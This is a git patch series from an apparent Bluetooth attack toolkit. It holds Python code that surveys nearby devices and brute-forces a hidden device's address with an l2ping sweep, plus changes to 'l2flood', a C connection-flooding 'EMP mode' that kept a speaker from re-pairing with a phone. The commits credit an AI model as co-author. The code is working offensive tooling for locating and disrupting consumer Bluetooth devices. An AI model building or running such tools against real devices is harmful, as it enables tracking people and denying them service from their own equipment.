needs hcitool+sudo just as - # much as the sweep below does. - if shutil.which("l2ping") is None: - sys.exit("l2ping not found on PATH (try: sudo apt install bluez-hcidump / bluez)") - if not args.no_resolve_names and shutil.which("hcitool") is None: - sys.exit("hcitool not found on PATH (try: sudo apt install bluez), " - "or pass --no-resolve-names to skip name resolution.") - - # Pre-authenticate sudo *before* anything else runs. Otherwise "sudo - # l2ping"/"sudo hcitool" prompts for a password on stderr, which is - # captured/hidden by subprocess -> the first probe just silently hangs - # until you notice nothing is happening. - print("Caching sudo credentials (you may be prompted for your password)...") - if subprocess.run(["sudo", "-v"]).returncode != 0: - sys.exit("sudo authentication failed") - - if args.known_octets is None: - _resolve_target_via_survey(args) - - orig_pageto = None - if not args.no_pageto_override: - orig_pageto = get_pageto(args.hcidev) - print(f"Setting {args.hcidev} pageto to {args.pageto} slots " - f"(was {orig_pageto} slots)...") - set_pageto(args.hcidev, args.pageto) - # Verify it actually stuck. bluetoothd (if running) periodically - # re-touches adapter parameters and can silently stomp this back - # to its own default -- if that happens, every probe waits out - # the *original* (larger) pageto no matter what we asked for. - actual_pageto = get_pageto(args.hcidev) - if actual_pageto is not None and actual_pageto != args.pageto: - print(f"Warning: {args.hcidev} pageto reads back as {actual_pageto} slots, " - f"not the {args.pageto} requested. Something (often bluetoothd) is " - f"overriding it -- try `sudo systemctl stop bluetooth` before rerunning.") - - found_addr = None - unresolved = [] - pageto_restored = False - - try: - candidates = args.only if args.only is not None else range(256) - print(f"Starting scan, trying {args.prefix}:XX:{args.known_octets} " - f"({len(candidates)} candidate(s))\n") - - for byte_val in candidates: - addr = f"{args.prefix}:{byte_val:02x}:{args.known_octets}" - status = probe_one(addr) - if status == "FOUND": - found_addr = addr - break - unresolved.append(addr) - - # Serial recheck pass: a first-pass "no" under the shortened - # pageto can be a real device whose page-scan window the probe - # simply missed. Re-check with the original (larger) pageto - # restored, and give each address multiple attempts since even a - # fair single attempt can still miss the target's duty cycle. - if found_addr is None and unresolved and not args.no_retry: - if not args.no_pageto_override and orig_pageto is not None: - print(f"\nRestoring {args.hcidev} pageto to {orig_pageto} slots for recheck pass...") - set_pageto(args.hcidev, orig_pageto) - pageto_restored = True - - total_attempts = args.retries + 1 - print(f"Rechecking {len(unresolved)} address(es), up to {total_attempts} " - f"attempt(s) each...\n") - for addr in unresolved: - for attempt in range(1, total_attempts + 1): - label = "retry" if total_attempts == 1 else f"retry {attempt}/{total_attempts}" - status = probe_one(addr, label=label) - if status == "FOUND": - found_addr = addr - break - if found_addr is not None: - break - - except KeyboardInterrupt: - print("\nInterrupted, shutting down...") - sys.exit(130) - finally: - if orig_pageto is not None and not pageto_restored: - print(f"\nRestoring {args.hcidev} pageto to {orig_pageto} slots...") - set_pageto(args.hcidev, orig_pageto) - - if found_addr is not None: - print(f"\nFound device at: {found_addr}") - _resolve_and_log(found_addr, args, source="sweep") - # UAP just got discovered by the sweep itself -- same command + - # confirmation prompt as the survey's "ready to use" path. - confirm_and_run(found_addr) - sys.exit(0) - else: - print("\nNot found") - sys.exit(1) - - -if __name__ == "__main__": - main() +"""Top-level orchestration: ties the optional ubertooth survey to the +l2ping sweep, resolves names for any address with a known UAP along the +way, and handles pageto save/restore around the run. +""" +import shutil +import subprocess +import sys + +from .args import parse_args +from .banner import print_banner +from .log import append_result +from .resolve import resolve_name +from .survey import ( + confirm_and_run, + parse_survey_results, + prompt_scan_timeout, + run_ubertooth_scan, + select_target, +) +from .sweep import get_pageto, probe_one, set_pageto + + +def _resolve_and_log(addr, args, source): + """Resolve addr's name via hcitool (unless disabled), print it, and + append it to --save's file if one was given. `source` records how + the UAP became known ('survey' or 'sweep') for the log line. Returns + the resolved name, or None if resolution was skipped/unsuccessful.""" + if args.no_resolve_names: + return None + name = resolve_name(addr, hcidev=args.hcidev, timeout=args.name_timeout) + print(f" [{source}] {addr} -> {name if name else '(no name response)'}") + if args.save: + append_result(args.save, addr, name, source) + return name + + +def _fallback_hci_scan(args): + """ubertooth-rx not available -- offer hcitool scan as a fallback. + Unlike ubertooth (passive sniffing that finds non-discoverable devices), + hcitool scan only finds devices in discoverable mode, but it returns + full BD_ADDRs so no UAP brute-force is needed. + + Returns a full BD_ADDR string if the user selects a device, or None.""" + print("ubertooth-rx not found on PATH. Falling back to hcitool scan.") + print("(Note: hcitool scan only finds discoverable devices. For") + print(" non-discoverable targets, install ubertooth or provide the") + print(" LAP directly: bbf AA:BB:CC)\n") + + if shutil.which("hcitool") is None: + print("hcitool also not found on PATH (try: sudo apt install bluez).") + print(f"You can still run bbf with a known LAP: bbf AA:BB:CC") + return None + + print("Running: sudo hcitool scan\n") + try: + result = subprocess.run( + ["sudo", "hcitool", "scan"], capture_output=True, text=True, timeout=30, + ) + except subprocess.TimeoutExpired: + print("hcitool scan timed out.") + return None + except KeyboardInterrupt: + print("\nScan interrupted.") + return None + + devices = [] + for line in result.stdout.splitlines(): + line = line.strip() + # hcitool scan output: "XX:XX:XX:XX:XX:XX\tDevice Name" + parts = line.split("\t", 1) + if len(parts) >= 1 and len(parts[0]) == 17 and parts[0].count(":") == 5: + addr = parts[0] + name = parts[1] if len(parts) > 1 else "(unknown)" + devices.append((addr, name)) + + if not devices: + print("No discoverable devices found.") + print(f"Provide a known LAP directly: bbf AA:BB:CC") + return None + + print("Discoverable devices:\n") + for i, (addr, name) in enumerate(devices, 1): + print(f" {i}) {addr} {name}") + + while True: + choice = input(f"\nSelect a target (1-{len(devices)}), or Enter to quit: ").strip() + if not choice: + return None + if choice.isdigit() and 1 <= int(choice) <= len(devices): + addr, name = devices[int(choice) - 1] + print(f"\nSelected: {addr} ({name})") + return addr + print("Invalid selection.") + + +def _resolve_target_via_survey(args): + """No LAP given on the CLI -- interactively survey for one. Mutates + args.known_octets in place, or exits the process if the user bails. + + Every survey pass that turns up 'ready to use' (UAP already + resolved) candidates gets those names resolved and logged + immediately, regardless of which candidate (if any) the user goes + on to pick for brute-forcing -- they're already complete addresses + modulo the assumed NAP, so there's no reason to wait.""" + if shutil.which("ubertooth-rx") is None: + addr = _fallback_hci_scan(args) + if addr is not None: + confirm_and_run(addr) + sys.exit(0) + try: + while True: + timeout = args.scan_time if args.scan_time is not None else prompt_scan_timeout() + args.scan_time = None # only honor the CLI value on the first pass + + output = run_ubertooth_scan(timeout) + needs_bf, ready = parse_survey_results(output) + + if ready and not args.no_resolve_names: + print(f"\nResolving names for {len(ready)} known-UAP address(es) from the survey...") + for uap, lap in ready: + addr = f"{args.prefix}:{uap}:{lap}" + _resolve_and_log(addr, args, source="survey") + + mode, value = select_target(needs_bf, ready, args.prefix) + if mode == "sweep": + args.known_octets = value + return + if mode == "ready": + # Already a complete, discovered-UAP address -- its + # command was shown/confirmed inside select_target itself. + # Nothing left for this run to do. + sys.exit(0) + + again = input("\nScan again? [y/N]: ").strip().lower() + if again not in ("y", "yes"): + sys.exit("No target selected. Exiting.") + except KeyboardInterrupt: + sys.exit("\nInterrupted during scan.") + + +def main(argv=None): + print_banner() + args = parse_args(argv) + + # Checked and authenticated up front, before the (possibly interactive, + # possibly repeated) survey step -- that step now also resolves names + # for any 'ready to use' hit it finds, so it needs hcitool+sudo just as + # much as the sweep below does. + if shutil.which("l2ping") is None: + sys.exit("l2ping not found on PATH (try: sudo apt install bluez-hcidump / bluez)") + if not args.no_resolve_names and shutil.which("hcitool") is None: + sys.exit("hcitool not found on PATH (try: sudo apt install bluez), " + "or pass --no-resolve-names to skip name resolution.") + + # Pre-authenticate sudo *before* anything else runs. Otherwise "sudo + # l2ping"/"sudo hcitool" prompts for a password on stderr, which is + # captured/hidden by subprocess -> the first probe just silently hangs + # until you notice nothing is happening. + print("Caching sudo credentials (you may be prompted for your password)...") + if subprocess.run(["sudo", "-v"]).returncode != 0: + sys.exit("sudo authentication failed") + + if args.known_octets is None: + _resolve_target_via_survey(args) + + orig_pageto = None + if not args.no_pageto_override: + orig_pageto = get_pageto(args.hcidev) + print(f"Setting {args.hcidev} pageto to {args.pageto} slots " + f"(was {orig_pageto} slots)...") + set_pageto(args.hcidev, args.pageto) + # Verify it actually stuck. bluetoothd (if running) periodically + # re-touches adapter parameters and can silently stomp this back + # to its own default -- if that happens, every probe waits out + # the *original* (larger) pageto no matter what we asked for. + actual_pageto = get_pageto(args.hcidev) + if actual_pageto is not None and actual_pageto != args.pageto: + print(f"Warning: {args.hcidev} pageto reads back as {actual_pageto} slots, " + f"not the {args.pageto} requested. Something (often bluetoothd) is " + f"overriding it -- try `sudo systemctl stop bluetooth` before rerunning.") + + found_addr = None + unresolved = [] + pageto_restored = False + + try: + candidates = args.only if args.only is not None else range(256) + print(f"Starting scan, trying {args.prefix}:XX:{args.known_octets} " + f"({len(candidates)} candidate(s))\n") + + for byte_val in candidates: + addr = f"{args.prefix}:{byte_val:02x}:{args.known_octets}" + status = probe_one(addr) + if status == "FOUND": + found_addr = addr + break + unresolved.append(addr) + + # Serial recheck pass: a first-pass "no" under the shortened + # pageto can be a real device whose page-scan window the probe + # simply missed. Re-check with the original (larger) pageto + # restored, and give each address multiple attempts since even a + # fair single attempt can still miss the target's duty cycle. + if found_addr is None and unresolved and not args.no_retry: + if not args.no_pageto_override and orig_pageto is not None: + print(f"\nRestoring {args.hcidev} pageto to {orig_pageto} slots for recheck pass...") + set_pageto(args.hcidev, orig_pageto) + pageto_restored = True + + total_attempts = args.retries + 1 + print(f"Rechecking {len(unresolved)} address(es), up to {total_attempts} " + f"attempt(s) each...\n") + for addr in unresolved: + for attempt in range(1, total_attempts + 1): + label = "retry" if total_attempts == 1 else f"retry {attempt}/{total_attempts}" + status = probe_one(addr, label=label) + if status == "FOUND": + found_addr = addr + break + if found_addr is not None: + break + + except KeyboardInterrupt: + print("\nInterrupted, shutting down...") + sys.exit(130) + finally: + if orig_pageto is not None and not pageto_restored: + print(f"\nRestoring {args.hcidev} pageto to {orig_pageto} slots...") + set_pageto(args.hcidev, orig_pageto) + + if found_addr is not None: + print(f"\nFound device at: {found_addr}") + _resolve_and_log(found_addr, args, source="sweep") + # UAP just got discovered by the sweep itself -- same command + + # confirmation prompt as the survey's "ready to use" path. + confirm_and_run(found_addr) + sys.exit(0) + else: + print("\nNot found") + sys.exit(1) + + +if __name__ == "__main__": + main() From 48c4114fd3bea0b3847ebe5b4ff6a8547c25b5b3 Mon Sep 17 00:00:00 2001 From: suteny0r Date: Sun, 5 Jul 2026 20:06:27 -0400 Subject: [PATCH 4/5] l2flood: report connection errors in EMP mode EMP mode previously spun silently when connect() failed (e.g., target already connected to another device). Now prints the error on first failure and on every new error type, throttled to every 50th attempt for repeated errors. Reports attempt count on successful reconnect. Co-Authored-By: Claude Opus 4.6 --- l2flood-emp-mode/l2flood.c | 29 ++++++++++++++++++++++++++++- 1 file changed, 28 insertions(+), 1 deletion(-) diff --git a/l2flood-emp-mode/l2flood.c b/l2flood-emp-mode/l2flood.c index a858ed3..3bd25d4 100644 --- a/l2flood-emp-mode/l2flood.c +++ b/l2flood-emp-mode/l2flood.c @@ -423,6 +423,8 @@ static void ping_emp(char *svr) int sk = -1; int i, printed = 0; int reuse = 1; + int connect_fails = 0; + int last_err = 0; struct linger ling = {1, 0}; struct sockaddr_l2 addr; @@ -491,11 +493,29 @@ static void ping_emp(char *svr) int err = 0; socklen_t elen = sizeof(err); getsockopt(sk, SOL_SOCKET, SO_ERROR, &err, &elen); - if (err != 0) { close(sk); sk = -1; usleep(2000); continue; } + if (err != 0) { + if (err != last_err || connect_fails % 50 == 0) { + fprintf(stderr, "EMP connect: %s (attempt %d)\n", + strerror(err), connect_fails + 1); + last_err = err; + } + connect_fails++; + close(sk); sk = -1; usleep(2000); continue; + } } else { + connect_fails++; + if (connect_fails % 50 == 0) + fprintf(stderr, "EMP connect: poll timeout (attempt %d)\n", + connect_fails); close(sk); sk = -1; usleep(2000); continue; } } else { + if (errno != last_err || connect_fails % 50 == 0) { + fprintf(stderr, "EMP connect: %s (attempt %d)\n", + strerror(errno), connect_fails + 1); + last_err = errno; + } + connect_fails++; close(sk); sk = -1; usleep(2000); continue; } } @@ -514,6 +534,13 @@ static void ping_emp(char *svr) setsockopt(sk, SOL_SOCKET, SO_SNDTIMEO, &snd_tv, sizeof(snd_tv)); } + if (connect_fails > 0) { + printf("EMP reconnected after %d failed attempt(s)\n", + connect_fails); + connect_fails = 0; + last_err = 0; + } + if (!printed) { char str[18]; socklen_t optlen = sizeof(addr); From 9f0a513bc4a0916a68073c59fd89644cb296e346 Mon Sep 17 00:00:00 2001 From: suteny0r Date: Sun, 5 Jul 2026 20:11:03 -0400 Subject: [PATCH 5/5] Correct EMP recovery docs: no power cycle needed Phone reconnected to K07 after stopping l2flood -R without resetting either device. Co-Authored-By: Claude Opus 4.6 --- l2flood-emp-mode/README.md | 8 ++++---- 1 file changed, 4 insertions(+), 4 deletions(-) diff --git a/l2flood-emp-mode/README.md b/l2flood-emp-mode/README.md index 4cc0714..ee6f850 100644 --- a/l2flood-emp-mode/README.md +++ b/l2flood-emp-mode/README.md @@ -64,10 +64,10 @@ Kali Linux i686 system with two HCI adapters (hci0, hci1). ## Key observations -- **EMP mode requires a power cycle to recover from.** After sustained - `-R` flooding, the K07 could not re-pair with the phone even after - l2flood was stopped. Both the speaker and the phone required a full - power cycle before normal Bluetooth operation resumed. +- **Recovery after EMP mode does not require a power cycle.** After + sustained `-R` flooding, the phone was able to reconnect to the K07 + once l2flood was stopped, without resetting either the speaker or the + phone. - **L2CAP echo requests go unanswered.** `l2ping` successfully establishes an ACL connection to the K07 but receives no echo